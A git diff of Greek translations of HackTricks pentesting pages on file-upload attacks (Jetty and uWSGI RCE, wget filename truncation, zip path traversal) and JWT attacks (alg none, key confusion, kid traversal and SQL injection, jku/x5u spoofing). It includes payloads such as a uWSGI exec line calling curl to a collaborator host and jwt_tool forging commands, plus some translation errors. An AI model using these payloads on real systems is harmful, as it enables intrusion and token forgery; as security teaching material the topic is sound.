Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**. Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
## **Jetty RCE** ## **Jetty RCE**
Αν μπορείτε να ανεβάσετε ένα αρχείο XML σε έναν διακομιστή Jetty μπορείτε να αποκτήσετε [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο `$JETTY_BASE/webapps/` και περιμένετε το shell! Αν μπορείς να ανεβάσεις ένα αρχείο XML σε έναν διακομιστή Jetty μπορείς να αποκτήσεις [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανέβασε το αρχείο XML στο `$JETTY_BASE/webapps/` και περίμενε το shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE** ## **uWSGI RCE**
Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας, έλεγξε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται. Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται.
Σκεφτείτε το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα: Σκέψου το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα:
```ini ```ini
[uwsgi] [uwsgi]
; read from a symbol ; read from a symbol
@ -127,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνεύσει αλλαγές. Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρύθμισης. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνεύσει αλλαγές.
Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης. Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρύθμισης του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.
## **wget File Upload/SSRF Trick** ## **wget File Upload/SSRF Trick**
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για **λήψη αρχείων** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα ληφθούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\ Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για **λήψη αρχείων** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα ληφθούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**. Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -175,10 +174,10 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**Ανοιχτή Ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files) - [**Ανοιχτή Ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Δοκιμάστε **διαφορετικά payloads svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* - Δοκιμάστε **διαφορετικά payloads svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποιο **δημόσιο** site, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**. - Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
- [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) - [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες. - Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποια PDF που θα εκτελούν αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό** - Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιβιοτικό**
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων - Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -196,7 +195,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
#### Επέκταση Burp #### Επέκταση Burp
{% embed url="https://github.com/portswigger/upload-scanner" %} {{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Μαγικοί Κωδικοί Header ## Μαγικοί Κωδικοί Header
@ -219,7 +220,7 @@ tar -cvf test.tar symindex.txt
``` ```
### Αποσυμπίεση σε διαφορετικούς φακέλους ### Αποσυμπίεση σε διαφορετικούς φακέλους
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναβαθμίσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους αναβάθμισης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής. Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναρτήσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους ανάρτησης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται: Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
```python ```python
@ -313,5 +314,4 @@ pop graphic-context
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -5,9 +5,9 @@
**Μέρος αυτού του άρθρου βασίζεται στην καταπληκτική ανάρτηση:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\ **Μέρος αυτού του άρθρου βασίζεται στην καταπληκτική ανάρτηση:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
**Συγγραφέας του σπουδαίου εργαλείου για pentest JWTs** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool) **Συγγραφέας του σπουδαίου εργαλείου για pentest JWTs** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool)
### **Quick Wins** ### **Γρήγορες Νίκες**
Run [**jwt_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines Τρέξτε [**jwt_tool**](https://github.com/ticarpi/jwt_tool) με λειτουργία `All Tests!` και περιμένετε για πράσινες γραμμές
```bash ```bash
python3 jwt_tool.py -M at \ python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -17,7 +17,7 @@ python3 jwt_tool.py -M at \
![](<../images/image (935).png>) ![](<../images/image (935).png>)
Τότε, μπορείτε να αναζητήσετε το αίτημα στον μεσολαβητή σας ή να εξάγετε το χρησιμοποιούμενο JWT για αυτό το αίτημα χρησιμοποιώντας το jwt\_ tool: Στη συνέχεια, μπορείτε να αναζητήσετε το αίτημα στον μεσολαβητή σας ή να εξάγετε το χρησιμοποιούμενο JWT για αυτό το αίτημα χρησιμοποιώντας το jwt\_ tool:
```bash ```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
``` ```
@ -31,7 +31,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Για να ελέγξετε αν η υπογραφή ενός JWT επαληθεύεται: Για να ελέγξετε αν η υπογραφή ενός JWT επαληθεύεται:
- Ένα μήνυμα σφάλματος υποδηλώνει συνεχιζόμενη επαλήθευση; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν. - Ένα μήνυμα σφάλματος υποδηλώνει ότι η επαλήθευση είναι σε εξέλιξη; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν.
- Μια αλλαγή στη σελίδα που επιστρέφεται υποδηλώνει επίσης επαλήθευση. - Μια αλλαγή στη σελίδα που επιστρέφεται υποδηλώνει επίσης επαλήθευση.
- Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει επαλήθευση; αυτό είναι το σημείο για να πειραματιστείτε με την τροποποίηση των αξιώσεων του payload. - Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει επαλήθευση; αυτό είναι το σημείο για να πειραματιστείτε με την τροποποίηση των αξιώσεων του payload.
@ -50,18 +50,18 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
[**Δείτε αυτή τη σελίδα.**](../generic-hacking/brute-force.md#jwt) [**Δείτε αυτή τη σελίδα.**](../generic-hacking/brute-force.md#jwt)
### Αλλάξτε τον αλγόριθμο σε None ### Αλλαγή του αλγορίθμου σε None
Ορίστε τον αλγόριθμο που χρησιμοποιείται ως "None" και αφαιρέστε το μέρος της υπογραφής. Ορίστε τον αλγόριθμο που χρησιμοποιείται ως "None" και αφαιρέστε το μέρος της υπογραφής.
Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτή την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να θέσετε την τιμή του πεδίου "Alg" σε "None"). Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτή την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να θέσετε την τιμή του πεδίου "Alg" σε "None").
### Αλλάξτε τον αλγόριθμο RS256(ασύμμετρος) σε HS256(συμμετρικός) (CVE-2016-5431/CVE-2016-10555) ### Αλλαγή του αλγορίθμου RS256(ασύμμετρος) σε HS256(συμμετρικός) (CVE-2016-5431/CVE-2016-10555)
Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.\ Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.\
Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την αυθεντικοποίηση. Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την αυθεντικοποίηση.
Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας του backend χρησιμοποιεί το δημόσιο κλειδί ως το μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή. Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας του back end χρησιμοποιεί το δημόσιο κλειδί ως το μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή.
Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256, θα μπορούσαμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή ιστού εκτελώντας αυτό: Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256, θα μπορούσαμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή ιστού εκτελώντας αυτό:
```bash ```bash
@ -101,17 +101,17 @@ python3 jwt_tool.py JWT_HERE -X s
Όταν η δήλωση `kid` είναι παρούσα στην κεφαλίδα, συνιστάται να αναζητήσετε τον διαδικτυακό κατάλογο για το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, αν καθοριστεί `"kid":"key/12345"`, θα πρέπει να αναζητηθούν τα αρχεία _/key/12345_ και _/key/12345.pem_ στη ρίζα του διαδικτύου. Όταν η δήλωση `kid` είναι παρούσα στην κεφαλίδα, συνιστάται να αναζητήσετε τον διαδικτυακό κατάλογο για το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, αν καθοριστεί `"kid":"key/12345"`, θα πρέπει να αναζητηθούν τα αρχεία _/key/12345_ και _/key/12345.pem_ στη ρίζα του διαδικτύου.
#### Διαδρομή Traversal με "kid" #### Διαδρομή Διασύνδεσης με "kid"
Η δήλωση `kid` μπορεί επίσης να εκμεταλλευτεί για να πλοηγηθεί μέσα στο σύστημα αρχείων, επιτρέποντας ενδεχομένως την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για να αλλάξετε την τιμή `kid` ενώ διατηρείτε την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την επιλογή `-T` στο jwt_tool, όπως φαίνεται παρακάτω: Η δήλωση `kid` μπορεί επίσης να εκμεταλλευτεί για να πλοηγηθεί μέσα στο σύστημα αρχείων, επιτρέποντας ενδεχομένως την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για να αλλάξετε την τιμή `kid` ενώ διατηρείτε την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την επιλογή `-T` στο jwt_tool, όπως φαίνεται παρακάτω:
```bash ```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
``` ```
Με την στόχευση αρχείων με προβλέψιμο περιεχόμενο, είναι δυνατόν να παραχαραχθεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κωδικό για τη δημιουργία JWT. Με την στόχευση αρχείων με προβλέψιμο περιεχόμενο, είναι δυνατόν να παραχαραχθεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, που είναι γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κλειδί για τη δημιουργία JWT.
#### SQL Injection μέσω "kid" #### SQL Injection μέσω "kid"
Εάν το περιεχόμενο της δήλωσης `kid` χρησιμοποιείται για την ανάκτηση ενός κωδικού από μια βάση δεδομένων, μπορεί να διευκολυνθεί μια SQL injection τροποποιώντας το payload του `kid`. Ένα παράδειγμα payload που χρησιμοποιεί SQL injection για να αλλάξει τη διαδικασία υπογραφής του JWT περιλαμβάνει: Εάν το περιεχόμενο της δήλωσης `kid` χρησιμοποιείται για την ανάκτηση ενός κωδικού πρόσβασης από μια βάση δεδομένων, μπορεί να διευκολυνθεί μια SQL injection τροποποιώντας το payload του `kid`. Ένα παράδειγμα payload που χρησιμοποιεί SQL injection για να αλλάξει τη διαδικασία υπογραφής του JWT περιλαμβάνει:
`non-existent-index' UNION SELECT 'ATTACKER';-- -` `non-existent-index' UNION SELECT 'ATTACKER';-- -`
@ -128,7 +128,7 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
#### jku #### jku
jku σημαίνει **JWK Set URL**.\ jku σημαίνει **JWK Set URL**.\
Εάν το token χρησιμοποιεί μια δήλωση “**jku**” **Header**, τότε **ελέγξτε τη παρεχόμενη διεύθυνση URL**. Αυτό θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για την επαλήθευση του token. Τροποποιήστε το token ώστε να δείχνει την τιμή jku σε μια διαδικτυακή υπηρεσία που μπορείτε να παρακολουθείτε την κίνηση. Εάν το token χρησιμοποιεί μια δήλωση “**jku**” **Header**, τότε **ελέγξτε τη διεύθυνση URL που παρέχεται**. Αυτή θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για την επαλήθευση του token. Τροποποιήστε το token ώστε να δείχνει την τιμή jku σε μια διαδικτυακή υπηρεσία που μπορείτε να παρακολουθείτε την κίνηση.
Πρώτα πρέπει να δημιουργήσετε ένα νέο πιστοποιητικό με νέα ιδιωτικά & δημόσια κλειδιά. Πρώτα πρέπει να δημιουργήσετε ένα νέο πιστοποιητικό με νέα ιδιωτικά & δημόσια κλειδιά.
```bash ```bash
@ -149,16 +149,16 @@ print("e:", hex(key.e))
``` ```
#### x5u #### x5u
X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Η μεταφορά ασφάλειας απαιτείται για τη μεταφορά των πιστοποιητικών. X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807 . Απαιτείται ασφάλεια μεταφοράς για τη μεταφορά των πιστοποιητικών.
Δοκιμάστε να **αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**. Δοκιμάστε να **αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**.
Για να κατασκευάσετε ένα νέο token χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά: Για να κατασκευάσετε ένα νέο διακριτικό χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά:
```bash ```bash
